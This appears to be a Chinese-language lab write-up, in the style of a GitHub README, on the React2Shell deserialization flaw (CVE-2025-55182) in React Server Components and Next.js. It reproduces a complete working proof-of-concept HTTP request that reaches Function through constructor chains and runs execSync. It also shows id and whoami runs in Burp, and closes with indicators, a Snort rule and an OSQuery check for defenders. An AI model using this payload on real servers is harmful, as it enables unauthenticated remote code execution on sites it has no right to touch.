AdityaBhatt3010/React2Shell-CVE-2025-55182

GitHub: AdityaBhatt3010/React2Shell-CVE-2025-55182

一个针对 React Server Components 不安全反序列化漏洞(CVE-2025-55182)的漏洞利用教学与防御检测项目。

Stars: 7 | Forks: 0

# 🎯 React2Shell (CVE-2025-55182):从 React Server Components 到完全 RCE **难度:** 中级 → 高级
**类别:** Web 漏洞利用 | 反序列化 | RCE
![封面](https://static.pigsec.cn/wp-content/uploads/repos/cas/89/890e4feb2204e31a43786d3bfbbe77d51d72f26a9ceb559a90be6a37193b500a.jpg) ## 🧩 任务 1:介绍 — 为什么 React2Shell 影响重大 CVE-2025-55182,绰号 **React2Shell**,属于那种瞬间让防御者感到紧张的漏洞 😬。它于 **2025 年 12 月**被发现,其 **CVSS 评分为 10.0**,这足以说明它绝不是什么边缘情况。 从本质上讲,该漏洞影响 **React Server Components (RSC)** 及基于其构建的框架 — 最显著的是 **Next.js**。可怕的地方在哪? 👉 **无需认证的远程代码执行 (RCE)** 👉 **单个精心构造的 HTTP 请求** 👉 **默认配置即为受影响状态** 无需登录。无需特殊权限。只需一个构造正确的请求。 ### 🔥 受影响的 React 包 * `react-server-dom-webpack` * `react-server-dom-parcel` * `react-server-dom-turbopack` ### ✅ 已修复版本 * **19.0.1** * **19.1.2** * **19.2.1** 本实验将带我们了解该漏洞 *为什么* 会存在、*如何* 被利用,以及防御者 *可以* 采取什么应对措施。 **Flag:** 无需回答。 ## 🧠 任务 2:React Server Components 与 Flight 协议 在进行漏洞利用之前,我们需要理清其架构。 ### 什么是 React Server Components? React Server Components(在 **React 19** 中引入)允许 React 应用的部分逻辑运行 **在服务器上**,而不是浏览器中。这意味着: * 繁重的计算保留在服务器端 ⚙️ * 客户端仅接收渲染后的输出 📦 * 更好的性能,更小的 bundle ### 登场:React Flight ✈️ 客户端与服务器之间的通信通过 **React Flight 协议** 进行。该协议在客户端序列化数据,并在服务器上反序列化。 它使用 **特殊标记**: * `$@` → Chunk 引用 * `$B` → **Blob 引用** * 通过冒号表示法表示的属性路径 示例: $1:constructor:constructor ⚠️ 而这个序列化逻辑正是问题所在。 **问题:** 哪个符号表示 Blob 引用? ✅ **答案:** `$B` ## 💣 任务 3:核心漏洞 — 不安全的反序列化 CVE-2025-55182 的核心是一个 **典型的不安全反序列化漏洞**。 让我们看看漏洞模式(不要裁剪 👇): ``` function requireModule(metadata) { var moduleExports = __webpack_require__(metadata[0]); // ... additional logic ... return moduleExports[metadata[2]]; // VULNERABLE LINE } ``` ### 为什么这很危险? 在 JavaScript 中,中括号表示法: ``` obj[someKey] ``` **不**会仅限于访问导出的属性。它会遍历 **整个原型链**。 接下来是关键所在 👀: * 每个 JavaScript 函数都有一个 `.constructor` * `constructor` 指向 **Function 构造函数** * `Function("code")` = 任意 JS 执行 ### 滥用 Flight 引用 由于 Flight 协议允许冒号分隔的路径,攻击者可以发送: ``` $1:constructor:constructor ``` 它会被解析为: 1. 获取 module chunk 2. 访问 `.constructor` 3. 再次访问 `.constructor` → **Function** 此时,游戏结束了 🎮。 **Flag:** 无需回答。 ## 🧨 任务 4:漏洞利用链 — 从 Bug 到 RCE 现在让我们逐步分解 **maple3142 的 PoC**。 ### 🧩 阶段 1:伪造 Chunk 对象 攻击者发送一个包含 **伪造 Chunk 对象** 的 multipart 请求: ``` { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\\"then\\":\\"$B1337\\"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('xcalc');", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ``` 该对象 **模仿了 React 内部的 Chunk 结构**。 通过将 `then` 指向 `Chunk.prototype.then`,React 被欺骗去 **等待攻击者控制的逻辑**。 ### 🧩 阶段 2:Blob 处理程序滥用 `$B1337` 标记会触发 **Blob 反序列化处理程序**,其内部会执行: ``` response._formData.get(response._prefix + id) ``` 但我们已经污染了: * `_formData.get` → `Function` * `_prefix` → 恶意 JS 导致的执行结果: ``` Function("process.mainModule.require('child_process').execSync('xcalc');1337") ``` 💥 成功实现任意 JavaScript 执行。 ### 🧩 阶段 3:操作系统命令执行 PoC 执行: ``` process.mainModule .require('child_process') .execSync('xcalc') ``` 这可以轻而易举地被替换为: * Reverse shell * 窃取机密信息 * 读取文件 * 窃取云凭证 ☠️ **Flag:** 无需回答。 ## 📦 任务 5:完整 HTTP PoC 分解 这是 **完整的漏洞利用请求**(原文照搬,未裁剪): ``` POST / HTTP/1.1 Host: localhost Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ``` (……multipart body 持续中……) ### 需要注意的关键点 👇 * `Next-Action` header 会触发 Server Actions * `multipart/form-data` 是强制要求的 * `$@0` 创建了一个自引用 * `$B1337` 触发 Blob 逻辑 * `constructor:constructor` 最终导向 `Function` 这绝非偶然 — 这是一条 **经过精确工程的攻击链**。 ### 🌍 受影响的生态 * **React:** 19.0.0, 19.1.0, 19.1.1, 19.2.0 * **Next.js:** * ≥14.3.0-canary.77 * 所有 15.x * 早期的 16.x * **其他:** React Router (RSC), Waku, Redwood SDK 📊 Wiz 研究:**39%** 的云环境受影响 🌐 Shodan:**571k+** React 服务器,**444k+** Next.js 这数字……真的很庞大 😶 ## 🧪 任务 6:实验室中的漏洞利用 首先在 Repeater 中,新建 HTTP 请求并选择 Target。 ![1](https://static.pigsec.cn/wp-content/uploads/repos/cas/34/3415dce4e943ac828d950e1d480c7a8a1087402c4d7e774acb701a768b7174bd.png) 使用 **Burp Suite Repeater**,我们发送 payload: ``` execSync('id') ``` ![2](https://static.pigsec.cn/wp-content/uploads/repos/cas/94/9448dfcdb13b52bb039337100ff7335671c59c9202500475a888dc268e1b3115.png) 接着: ``` execSync('whoami') ``` ![3](https://static.pigsec.cn/wp-content/uploads/repos/cas/e0/e0def5c516be69de137c95223d6b238d19ab7d8794352fdbdc5d4468da40b282.png) ### ✅ 结果 * **用户:** `ubuntu` * **Flag:** {React-19.2.0} 干净、可靠、可重复的漏洞利用 💀 ## 🛡️ 任务 7:检测与防御 对防御者来说有个好消息 👮‍♂️ — 漏洞利用会留下指纹。 ### 🔎 攻击指标 * `Next-Action` header * `multipart/form-data` * `"status":"resolved_model"` * `"then":"$1:__proto__:then"` 这些 **绝对不应该** 出现在正常的用户流量中。 ### 🚨 Snort 规则 (v3) ``` alert http any any -> $LAN_NETWORK any ( msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt"; flow:to_server,established; content:"Next-Action"; http_header; nocase; content:"multipart/form-data"; http_header; nocase; pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s"; pcre:"/\"status\"\s*:\s*\"resolved_model\"/s"; pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s"; classtype:web-application-attack; sid:6655001; rev:1; ) ``` ### 🧾 OSQuery — 查找受漏洞影响的包 ``` { "queries": { "detect_rev2shell_react_server_components": { "query": "SELECT name, version, path FROM npm_packages WHERE ...", "interval": 3600 } } } ``` 非常适合用于: * CI/CD pipeline * Endpoint 审计 * 生产环境前检查 ![4](https://static.pigsec.cn/wp-content/uploads/repos/cas/4c/4c8faf8343d0f680b55f46312cd5f346543898bf17a7d2367cc18c4cdc3203df.png) ## 🧠 总结思考 React2Shell 是一个 **教科书般的案例**,展示了: * 为什么不安全的反序列化是致命的 * 原型链是如何背叛你的 * 为什么“默认配置”是危险的 一旦安装了修补后的版本并遵循了 `npm audit` 的建议,**该漏洞利用将彻底失效** ✅。
⚠️ 切勿在未授权的实验室环境之外进行测试。
🔥 务必迅速打补丁。
🧠 务必理解漏洞 *为什么* 会存在 — 而不仅仅是知道如何利用它。
### ⭐ 关注并与我联系 如果你喜欢这篇文章,或者想与我在网络安全、CTF 和 VAPT 领域的工作保持联系: 🔗 **GitHub:** [https://github.com/AdityaBhatt3010](https://github.com/AdityaBhatt3010)
💼 **LinkedIn:** [https://www.linkedin.com/in/adityabhatt3010/](https://www.linkedin.com/in/adityabhatt3010/)
✍️ **Medium:** [https://medium.com/@adityabhatt3010](https://medium.com/@adityabhatt3010)
祝 hacking 愉快 — 保持负责任 🗿🚀
标签:CISA项目, MITM代理, RCE, React, Syscalls, Web安全, 反序列化, 数据可视化, 数据展示, 红队, 自定义脚本, 蓝队分析